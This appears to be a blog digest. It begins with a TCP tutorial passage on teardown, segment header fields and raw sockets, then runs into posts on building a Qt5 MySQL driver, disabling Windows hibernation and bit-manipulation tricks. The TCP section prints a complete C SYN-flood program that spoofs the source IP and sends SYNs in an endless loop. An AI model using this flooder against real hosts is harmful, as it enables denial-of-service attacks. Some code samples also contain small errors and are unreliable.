The connection termination phase uses a four-way handshake, with each side of the connection terminating independently. When an endpoint wishes to stop its half of the connection, it transmits a FIN packet, which the other end acknowledges with an ACK. Therefore, a typical tear-down requires a pair of FIN and ACK segments from each TCP endpoint. After both FIN/ACK exchanges are concluded, the side which sent the first FIN before receiving one waits for a timeout before finally closing the connection, during which time the local port is unavailable for new connections; this prevents confusion due to delayed packets being delivered during subsequent connections.

A connection can be “half-open”, in which case one side has terminated its end, but the other has not. The side that has terminated can no longer send any data into the connection, but the other side can. The terminating side should continue reading the data until the other side terminates as well.

It is also possible to terminate the connection by a 3-way handshake, when host A sends a FIN and host B replies with a FIN & ACK (merely combines 2 steps into one) and host A replies with an ACK.This is perhaps the most common method.

It is possible for both hosts to send FINs simultaneously then both just have to ACK. This could possibly be considered a 2-way handshake since the FIN/ACK sequence is done in parallel for both directions.

Data Processing in TCP

Transmission Control Protocol accepts data from a data stream, divides it into chunks, and adds a TCP header creating a TCP segment. The TCP segment is then encapsulated into an Internet Protocol (IP) datagram, and exchanged with peers.

For example case, if you have a data like this:

................................

our node, receiver node, or intermediate node who route the packet might not have the same size in bandwidth. Therefore it should be divided into chunks. TCP should know how much datagram can be handle by your network. Let say, it will divide data into following:

....  ....  ....  ....  ....  ....  ....  ....

TCP then append a header in the front of each datagram. Let T become the TCP header, our datagram would be:

T....  T....  T....  T....  T....  T....  T....  T....

TCP Segment Structure

When a TCP segment is formed, each TCP segment will have following structure:

tcp

Port

Source port and destination port is a port number on source node (sender) and destination node (receiver), respectively. They are 16-bit unsigned integer which numbered from 0-65535.

Sequence number

A 32 bits data.

A sequence number entry has dual role.

  • If the SYN flag is set (1), then this is the initial sequence number. The sequence number of the actual data byte and the acknowledged number in the corresponding ACK are then this sequence number + 1
  • If the SYN flag is clear (0), then this is the accumulated sequence number of the frist data byte of this segment for the current session.

A sequence number is used so a receiver end can assembly all segments to same data. This will ensure that both data sent and received on both end are same, in same order without wrong position. The sequence number is 32-bit. The numbering is based on which octet the data is. Therefore, if data is divided into 500 octet per segment, the sequence number would be 0 for first segment, 500 for second segment, 1000 for third segment, and so on.

Acknowledgment number

A 32 bits data. If the ACK flag is set then the value of this field is the next sequence number that the receiver is expecting. The first ACK sent by each end acknowledges the other end’s initial sequence number itself, but no data.

Data offset

A 4 bits data. Data offset is a number which specifying the size of TCP header in 32-bit words. The minimum size of header is 5 words and the maximum is 15 words thus giving the minimum size of 20 bytes and maximum of 60 bytes, allowing for up to 40 bytes of options in the header. This field gets its name from the fact that it is also the offset from the start of the TCP segment to the actual data.

Reserved

A 3 bits data. This field is reserved for future use and should be set to zero.

Flags

A 9 bits data. This fields has 9 flag defined which has 1 bit each. The flags are:

  1. NS – ECN-nonce concealment protection
  2. CWR – Congestion Window Reduced (CWR) flag is set by the sending host to indicate that it received a TCP segment with the ECE flag set and had responded in congestion control mechanism.
  3. ECE – ECN echo indicates:
    1. If the SYN flag is set (1), that the TCP peer is ECN capable
    2. If the SYN flag is clear (0), that a packet with Congestion Experienced flag in IP header is received during normal transmission
  4. URG – Indicates that the Urgent pointer field is significant
  5. ACK – Indicates that the Acknowledgment field is significant. All packets after the initial SYN packet sent by the client should have this flag set.
  6. PSH – Push function. Asks to push the buffered data to the receiving application.
  7. RST – Reset the connection
  8. SYN – Synchronize sequence numbers. Only the first packet sent from each end should have this flag set. Some other flags change meaning based on this flag, and some are only valid for when it is set, and others when it is clear.
  9. FIN – No more data from sender

Window size

A 16 bits data which defines the size of the receive window, which specifies the number of window size units (by default, bytes) (beyond the sequence number in the acknowledgment field) that the sender of this segment is currently willing to receive

Checksum

A 16 bits data used for error checking of the header and data.

A checksum is a number computed from all datagram. When a segment is received on the other node, a data checksum is recomputed and then compared to checksum entry in the header. If the calculation match indicating the segment has not been altered or arrive safe on destination. If not, TCP will ask for retransmission.

Urgent pointer

A 16 bits data. If the URG flag is set, then this 16-bit field is an offset from the sequence number indicating the last urgent data byte

Options

A variable length data which can have 0-320 bits, divisible by 32.

The length of this field is determined by the data offset field. Options have up to three fields: Option-Kind (1 byte), Option-Length (1 byte), Option-Data (variable). The Option-Kind field indicates the type of option, and is the only field that is not optional. Depending on what kind of option we are dealing with, the next two fields may be set: the Option-Length field indicates the total length of the option, and the Option-Data field contains the value of the option, if applicable. For example, an Option-Kind byte of 0×01 indicates that this is a No-Op option used only for padding, and does not have an Option-Length or Option-Data byte following it. An Option-Kind byte of 0 is the End Of Options option, and is also only one byte. An Option-Kind byte of 0×02 indicates that this is the Maximum Segment Size option, and will be followed by a byte specifying the length of the MSS field (should be 0×04). Note that this length is the total length of the given options field, including Option-Kind and Option-Length bytes. So while the MSS value is typically expressed in two bytes, the length of the field will be 4 bytes (+2 bytes of kind and length). In short, an MSS option field with a value of 0x05B4 will show up as (0×02 0×04 0x05B4) in the TCP options section.

Padding

The TCP header padding is used to ensure that the TCP header ends and data begins on a 32 bit boundary. The padding is composed of zeros.

TCP Segment in Low Level Socket Programming

Only processes with an effective user ID of 0 or the CAP_NET_RAW capability are allowed to open raw sockets.

The basic concept of low level sockets is to send a single packet at one time with all the protocol headers filled in by the program instead of the kernel. Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we’ll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

To inject our own packets, all we need to know is the structures of the protocols that need to be included (we have cover it above). In programming, the packet is represented as a structure of data. Code below is taken from Linux header, netinet/tcp.h:

/**   * TCP header.   * Per RFC 793, September 1981.   */  // This is BSD'ish TCP Header    struct tcphdr    {      u_int16_t th_sport;         /* source port */      u_int16_t th_dport;         /* destination port */      tcp_seq th_seq;             /* sequence number */      tcp_seq th_ack;             /* acknowledgement number */  #  if __BYTE_ORDER == __LITTLE_ENDIAN      u_int8_t th_x2:4;           /* (unused) */      u_int8_t th_off:4;          /* data offset */  #  endif  #  if __BYTE_ORDER == __BIG_ENDIAN      u_int8_t th_off:4;          /* data offset */      u_int8_t th_x2:4;           /* (unused) */  #  endif      u_int8_t th_flags;  #  define TH_FIN        0x01  #  define TH_SYN        0x02  #  define TH_RST        0x04  #  define TH_PUSH       0x08  #  define TH_ACK        0x10  #  define TH_URG        0x20      u_int16_t th_win;           /* window */      u_int16_t th_sum;           /* checksum */      u_int16_t th_urp;           /* urgent pointer */  };

The struct is self explained if you have read the previous section.

Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s).  We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder). Please note that following snippet also has low level IP packet construction which is not defined on this article.

#define __USE_BSD	/* use bsd'ish ip header */  #include <sys/socket.h>  #include <netinet/in.h>  #include <netinet/ip.h>  #define __FAVOR_BSD	/* use bsd'ish tcp header */  #include <netinet/tcp.h>  #include <unistd.h>    #define P 25		/* lets flood the sendmail port */    unsigned short		/* this function generates header checksums */  csum (unsigned short *buf, int nwords)  {    unsigned long sum;    for (sum = 0; nwords > 0; nwords--)      sum += *buf++;    sum = (sum >> 16) + (sum & 0xffff);    sum += (sum >> 16);    return ~sum;  }    int   main (void)  {    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);	/* open raw socket */    char datagram[4096];	/* this buffer will contain ip header, tcp header,  			   and payload. we'll point an ip header structure  			   at its beginning, and a tcp header structure after  			   that to write the header values into it */    struct ip *iph = (struct ip *) datagram;    struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);    struct sockaddr_in sin;  			/* the sockaddr_in containing the dest. address is used  			   in sendto() to determine the datagrams path */      sin.sin_family = AF_INET;    sin.sin_port = htons (P);/* you byte-order >1byte header values to network  			      byte order (not needed on big endian machines) */    sin.sin_addr.s_addr = inet_addr ("127.0.0.1");      memset (datagram, 0, 4096);	/* zero out the buffer */    /* we'll now fill in the ip/tcp header values, see above for explanations */    iph->ip_hl = 5;    iph->ip_v = 4;    iph->ip_tos = 0;    iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);	/* no payload */    iph->ip_id = htonl (54321);	/* the value doesn't matter here */    iph->ip_off = 0;    iph->ip_ttl = 255;    iph->ip_p = 6;    iph->ip_sum = 0;		/* set it to 0 before computing the actual checksum later */    iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */    iph->ip_dst.s_addr = sin.sin_addr.s_addr;    tcph->th_sport = htons (1234);	/* arbitrary port */    tcph->th_dport = htons (P);    tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */    tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */    tcph->th_x2 = 0;    tcph->th_off = 0;		/* first and only tcp segment */    tcph->th_flags = TH_SYN;	/* initial connection request */    tcph->th_win = htonl (65535);	/* maximum allowed window size */    tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack  		      should fill in the correct checksum during transmission */    tcph->th_urp = 0;      iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);    /* finally, it is very advisable to do a IP_HDRINCL call, to make sure     that the kernel knows the header is included in the data, and doesn't     insert its own header into the packet before our data */      {				/* lets do it the ugly way.. */      int one = 1;      const int *val = &one;      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)        printf ("Warning: Cannot set HDRINCL!\n");    }      while (1)      {        if (sendto (s,		/* our socket */  		  datagram,	/* the buffer containing headers and data */  		  iph->ip_len,	/* total length of our datagram */  		  0,		/* routing flags, normally always 0 */  		  (struct sockaddr *) &sin,	/* socket addr, just like in */  		  sizeof (sin)) < 0)		/* a normal send() */  	printf ("error\n");        else  	printf (".");      }      return 0;  }

Appendix A: International Standard

  1. RFC 675
  2. RFC 793
  3. RFC 1122
  4. RFC 2581
  5. RFC 3168 (ECE and CWR flag)
  6. RFC 3540 (NS flag)
  7. RFC 5681

Jumat, 04 Oktober 2013

Xathrya Sabertooth

Xathrya Sabertooth


Creating MySQL Driver for Qt5 on Windows

Posted: 03 Oct 2013 09:43 PM PDT

This article will discuss on how to create MySQL driver for Qt4 on Windows using MinGW. This article is motivated by the fact that MySQL driver isn’t shipped by default on Qt5.

All the works are done using:

  1. Windows 8
  2. MinGW 4.8.1 (TDM)
  3. Qt 5.1.1
  4. MySQL 5.6.14.0

Actually my Windows 8 is 64-bit, but all program we test here is 32-bit version (MinGW32, MySQL 32-bit).

Obtain Materials

For this article we need Qt libraries, Qt source code, and MySQL server.

Qt version I use is 5.1.1. You need to download two separate files (libraries and source code).

We also need MySQL server and the library. The version I use is 5.6.14 which you can download here.

The reason why I didn’t use the 64-bit version simply because my current project should produce 32-bit app. If you want to follow this article, make sure all the materials are 32-bit.

Installation the Materials

Installing Qt

Install Qt libraries. Installing default components would do alright. Although you can use full installation, but in this article we will use the default one. I select drive C:\ like default path and leave it to Qt. At the end, the Qt is installed as C:\Qt\Qt5.1.1

Next, extract the Qt sources to a folder you choose. Let’s extract it to the same folder as Qt libraries does. Which means, the target path is C:\Qt\Qt5.1.1. Rename the long name “qt-everywhere-opensource-src-5.1.1″ to “sources”. Thus, we have C:\Qt\Qt5.1.1\sources.

Installing MySQL

Install MySQL. Select custom installation. At minimal, you need to install Client C API Library, the other components are optional. Let’s installed it under C:\Program Files (x86)\MySQL\MySQL Server 5.6

Building & Deploying

Open Qt command prompt, You should have one. It is like normal command prompt, except it has default Qt environment variable we need. Once you open it, you will be brought to your Qt directory.

Now execute following:

set mysql=C:\\PROGRA~2\\MySQL\\MYSQLS~1.6  cd C:\Qt\Qt5.1.1\sources\qtbase\src\plugins\sqldrivers\mysql\  qmake "INCLUDEPATH+=%mysql%\\include" "LIBS+=%mysql%\\lib\\libmysql.lib" -o Makefile mysql.pro  mingw32-make

Once it is built successfully without error, you will have some fileson C:\Qt\Qt5.1.1\sources\qtbase\plugins\sqldrivers. They are:

  1. libqsqlmysql.a
  2. libqsqlmysqld.a
  3. qsqlmysql.dll
  4. qsqlmysqld.dll

For .dll files, move them to C:\Qt\QT5.1.1\5.1.1\mingw48_32\plugins\sqldrivers.

For .a files, move them to C:\Qt\Qt5.1.1\5.1.1\mingw48_32\lib

Also, copy libmysql.dll from %mysql%\lib to C:\Windows

Testing

To use the driver, don’t forget to add QT += sql to project file, else it don’t work.

Check which drivers are available by this code:

#include <QtCore/QCoreApplication>  #include <QtSql>    int main() {      QCoreApplication a(argc, argv);      aDebug() << QSqlDatabase::drivers();      return a.exec();  }

Deleting hiberfil.sys File and Reclaim the Hard Disk Space

Posted: 03 Oct 2013 04:03 AM PDT

Hibernate is one of feature of Microsoft Windows operating system. When hibernating, Windows creates a hiberfil.sys file. This file might become large in size and consume much your partition. This file is created by default if you have ever used Hibernate feature in Microsoft Windows. The hibernate file is stored on system root directory.

In this article we will discuss about how we can safely delete hiberfil.sys file and reclaim the hard disk space.

When You Do and Don’t

If you use hibernate all the time, or frequently use it, then you are not supposed to delete it. This is the mechanism of Windows. But if you do not use Hibernate, you may proceed.

Understanding the Windows Hibernate Function

When you activate hibernate, Windows take a snapshot of current session (all running programs, open files, etc). These information then written to hard drives (like dumping the state). When you go back powering your machine, Windows then read the hiberfil.sys and restore all of these informations. This way, Windows can speed up shutdowns and starting process.

hiber1

The file size is mostly equivalent to your RAM size and other parameter. Hiberfile.sys, having large file just hanging around is problematic for you if you have low disk space.

Disabling Windows Hibernation

You can manually delete hiberfil.sys, but it will just come back. To permanently remove the file, you must disable the Windows Hibernate function. The easiest and portable way is do it on your command prompt. Open your command prompt (cmd.exe) and write this command:

powercfg.exe -h off

On some latest Windows version, you need to run it as Administrator.

As soon as you execute the powercfg command, Windows should delete hiberfil.sys. If not, you can manually delete it.

Re-Enabling Windows Hibernation

To make Windows re-enable hibernation feature, it is simply reciprocal procedure to disable one.

Open up command prompt and execute following command with Administrator rights:

powercfg.exe -h on

Rabu, 02 Oktober 2013

Xathrya Sabertooth

Xathrya Sabertooth


Bit Wizardry: Check and Manipulate Individual Bit

Posted: 01 Oct 2013 05:57 PM PDT

Bit Wizardry, sounds cool. Well, although the title use word wizard but we have nothing to do about magic. This article is purely about manipulating bit using bit-wise operation such as AND, OR, XOR, and SHIFT. The “magic” here is the computation where we obtain result of arithmetic operation in low-level way.

It is also known as bit hacks. This little programming trick can be a savior in optimizing the performance. Though, sometimes it is machine dependent. The operations are highly relied on bitwise operation. I assume you know all the bitwise operation.

Notation

In this article, we will use following notation for bitwise operation.

&  - bitwise and  |  - bitwise or  ^  - bitwise xor  ~  - bitwise not  << - bitwise shift left  >> - bitwise shift right

We also use some operations, such as:

+ addition  - subtraction  * multiplication  / division  % modulo

The numbers used here are 8-bit signed integers and represented as two’s complemented, unless told otherwise. The number is denoted as ‘x’ and the result operation is usually denoted as ‘y’. The individual bit of x are named b7,b6,b5,b4,b3,b2,b1,and b0 from most significant to least significant (left to right). The b7 is the sign bit.

The Tricks

#1 Check if the Integer is Even or Odd

if ((x & 1) == 0) {      // x is even  } else {      // x is odd  }

This is popular trick. The idea is that an integer is odd if and only if the least significant bit b0 is 1. It follows from the binary representation of x, where bit b0 contributes to either 1 or 0. By AND-ing x with 1 we eliminate all others bit than b0 and isolation the individual bit b0. Now, the even is defined as b0 having value 0 and odd is defined otherwise.

Let’s see the example.

00101011  &   00000001   (note: 1 is the same as 00000001)      --------      00000001

Now let’s see the -43. Remember a two’s complement number is represented as the positive one + 1. All we have to do is invert the bit andd add one. Here we have -43 is 11010101 in binary. See that the last bit is 1 therefore it is off.

Another example for 6, the binary is 00000110:

00000110  &   00000001      --------      00000000

The result is 0 which means the integer 6 is even.

#2 Test if the n-th bit is set

if (x & (1<<n)) {      // n-th bit is set  } else {      // n-th bit is not set  }

This trick is done by shifting the first bit (b0) by n positions to the left and then doing AND operation. This way, all bits but the n-th one will be clear. If the result is 0, we know that the nth bit is clear. If it is not, we know that it is set.

Here is what happens if you shift 1 several positions to the left:

1         00000001    (same as 1<<0)  1<<1      00000010  1<<2      00000100  1<<3      00001000  1<<4      00010000  1<<5      00100000  1<<6      01000000  1<<7      10000000

Now if we AND x with n-shifted 1, we effectively all the bits but n-th bit in x. See that doing n left-shift we have n zeroes on right. ;)

Let’s see the example:

Does 123 have 3rd bit set? Let’s search the answer:

123 & (1<<3)

And, 123 is 01111011 in binary. Expression (1<<3) is 00001000.

01111011  &   00001000      --------      00001000

The answer is yes, 123 has the 3rd bit set.

Let see the -33, does it have the 5th bit set?

11011111      (-33 in binary)  &   00100000      (1<<5)      --------      00000000

The result is 0, so the 5th is not set.

#3 Set the n-th bit

y = x | (1<<n)

It use the same principal of (1<<n) trick but now we use it to set the n-th bit by shifting with OR operation. When OR-ing any values with 0 leaves the value same; but OR-in it with 1 set it to 1.

Let see the example for 120 to turn 2nd bit.

01111000    (120 in binary)  |   00000100    (1<<2)      --------      01111100

And -120 to turn 6th bit

10001000   (-120 in binary)  |   01000000   (1<<6)      --------      11001000

#4 Unset / Clear the n-th bit

y = x & ~(1<<n)

The important part is the ~(1<<n). This will set all the bits except n-th.  Here how it looks:

~1        11111110  (same as ~(1<<0))  ~(1<<1)   11111101  ~(1<<2)   11111011  ~(1<<3)   11110111  ~(1<<4)   11101111  ~(1<<5)   11011111  ~(1<<6)   10111111  ~(1<<7)   01111111

Now the operation use bitwise AND. When we AND it with x, the n-th bit of x will be AND-ed to 0 which leads to 0. While the other bits will remain same.

Let’s unset the 3rd bit in 127:

01111111    (127 in binary)  &   11110111    (~(1<<3))      --------      01110111

#5 Toggle the n-th bit

y = x ^ (1<<n)

Let’s modify the 3rd trick.

The result of XOR-ing something with something else is that if both bits are the same, the result is 0, otherwise it is 1. Toggling the n-th bit means when it is 0 we change it to 1 and when it is 1 we change it to 0. Like toggling a button on and off.

Let’s see how we toggle 5th bit in 01110101:

01110101  ^   00100000      --------      01010101

What if the 5th bit originally 0?

01010101  ^   00100000      --------      01110101

One of XOR property is, when you XOR-ing the same bit twice, it return to the same value.

#6 Clear the Rightmost 1-bit

y = x & (x-1)

This trick will turn offs the rightmost one-bit. For example, given an integer 00101010 (the rightmost 1-bit is the b1) it turns it into 00101000. Or given 00010000, it turns it into 0, as there is only a single 1-bit there.

Here are more examples:

01010111    (x)  &   01010110    (x-1)      --------      01010110        01011000    (x)  &   01010111    (x-1)      --------      01010000        10000000    (x = -128)  &   01111111    (x-1 = 127 (with overflow))      --------      00000000        11111111    (x = all bits 1)  &   11111110    (x-1)      --------      11111110        00000000    (x = no rightmost 1-bits)  &   11111111    (x-1)      --------      00000000

So how can it works?

  1. The value has the rightmost 1 bit. When we subtracting one from it sets all the lower bits to one and changes the previous rightmost 1-bit to 0. This step has masked out the rightmost 1-bit and now AND-ing it with the original value zeros that rightmost 1-bit.
  2. The values has no rightmost 1 bit (all 0). As stated before, our case are signed integer then subtracting one will sets all bits to 1. Thus, AND-ing all zeros with all ones produces 0.

#7 Isolate the Rightmost 1-bit

y = x & (-x)

This trick finds the rightmost 1-bit and sets all the other bits to 0. For example, 01010100 gets turned into 00000100.

Here are more example:

10111100  (x)  &   01000100  (-x)      --------      00000100        01110000  (x)  &   10010000  (-x)      --------      00010000        00000001  (x)  &   11111111  (-x)      --------      00000001        10000000  (x = -128)  &   10000000  (-x = -128)      --------      10000000        11111111  (x = all bits one)  &   00000001  (-x)      --------      00000001        00000000  (x = all bits 0, no rightmost 1-bit)  &   00000000  (-x)      --------      00000000

This works because of two’s complement. In two’s complement system, -x is the same as ~x+1.

#8 Isolate the Rightmost 0-bit

This trick does the opposite of #7. It finds the rightmost 0-bit, turns off all bits, and sets this bits to 1 in the result. For example, it finds the zero in 10101011, the righmost zero is b2, and producing 00000100.

There are many ways to achieve this. For example:

#1  y = ~x & (x+1)    #2  x = ~x  y = x & -x

Now let’s see the xample:

10111100  (x)      --------      01000011  (~x)  &   10111101  (x+1)      --------      00000001        01110111  (x)      --------      10001000  (~x)  &   01111000  (x+1)      --------      00001000        00000001  (x)      --------      11111110  (~x)  &   00000010  (x+1)      --------      00000010        10000000  (x = -128)      --------      01111111  (~x)  &   10000001  (x+1)      --------      00000001        11111111  (x = no rightmost 0-bit)      --------      00000000  (~x)  &   00000000  (x+1)      --------      00000000        00000000  (x)      --------      11111111  (~x)  &   00000001  (x+1)      --------      00000001

Here’s the proof:

Suppose there is a rightmost 0-bit. Then ~x turns this rightmost 0 bit into 1 bit. And so does x+1 (because bits more right to the rightmost 0 bit are 1′s). Now AND-ing ~x with x+1 evaporates all the bits up to this rightmost 0 bit. This is the highest order bit set in the result. Now what about lower order bits to the right of rightmost 0 bit? They also got evaporated because because x+1 turned them into 0′s (they were 1′s) and ~x turned them into 0′s. They got AND-ed with 0 and evaporated.

#9 Turn on the Rightmost 0-bit

y = x | (x+1)

This hack changes the rightmost 0-bit into 1. For example, given an integer 10100011 it turns it into 10100111.

More example:

10111100  (x)  |   10111101  (x+1)      --------      10111101        01110111  (x)  |   01111000  (x+1)      --------      01111111        00000001  (x)  |   00000010  (x+1)      --------      00000011        10000000  (x = -128)  |   10000001  (x+1)      --------      10000001        11111111  (x = no rightmost 0-bit)  |   00000000  (x+1)      --------      11111111        00000000  (x)  |   00000001  (x+1)      --------      00000001

As x is OR-ed with x+1 does not lose any information, adding 1 to x fills the first rightmost 0. The result is max {x, x+1}. If x+1 overflows, it’s x and there was no 0 bits. If it doesn’t, it’s x+1 which just got rightmost bit filled with 0.

#10 Right Propagate the Rightmost 1-bit

y = x | (x-1)

This is best understood by an example. Given a value 01010000 it turns it into 01011111. All the 0-bits right to the rightmost 1-bit got turned into ones.

This is not a clean hack, tho, as it produces all 1′s if x = 0.

Let’s look at more examples:

10111100  (x)  |   10111011  (x-1)      --------      10111111        01110111  (x)  |   01110110  (x-1)      --------      01110111        00000001  (x)  |   00000000  (x-1)      --------      00000001        10000000  (x = -128)  |   01111111  (x-1 = 127)      --------      11111111        11111111  (x = -1)  |   11111110  (x-1 = -2)      --------      11111111        00000000  (x)  |   11111111  (x-1)      --------      11111111

There are two cases we can see, let’s prove from the easiest one first.

  1. There is no rightmost 1-bit. In that case x = 0 and x-1 is -1. -1 in two’s complement is 11111111. OR-ing 0 with 11111111 produces the same 11111111. (Not the desired result, but that’s the way it is.)
  2. There is the rightmost 1-bit bi. Let’s divide all the bits in two groups again (like in the previous example). Calculating x-1 modifies only bits to the right, turning bi into 0, and all the lower bits to 1′s. Now OR-ing x with x-1 leaves all the higher bits (to the left) the same, leaves bit bi as it was 1, and since lower bits are all low 1′s it also turns them on. The result is that the rightmost 1-bit got propagated to lower order bits.

#11 Swapping two Bits

x = ((y>>k1) ^ (y>>k2)) & 1  y ^= (x<<k2)  y ^= (x<<k1)

Using this trick we can swap the k1-th bit with k2-th bit. Even if you use k1==k2, the trick can perform well and make y unchanged.

If it is known that the bits do have different values, you can make it as following:

y ^= ( (1UL<<k1) ^ (1UL<<K2) );

The 1UL in C and C++ means 1 in unsigned long representation.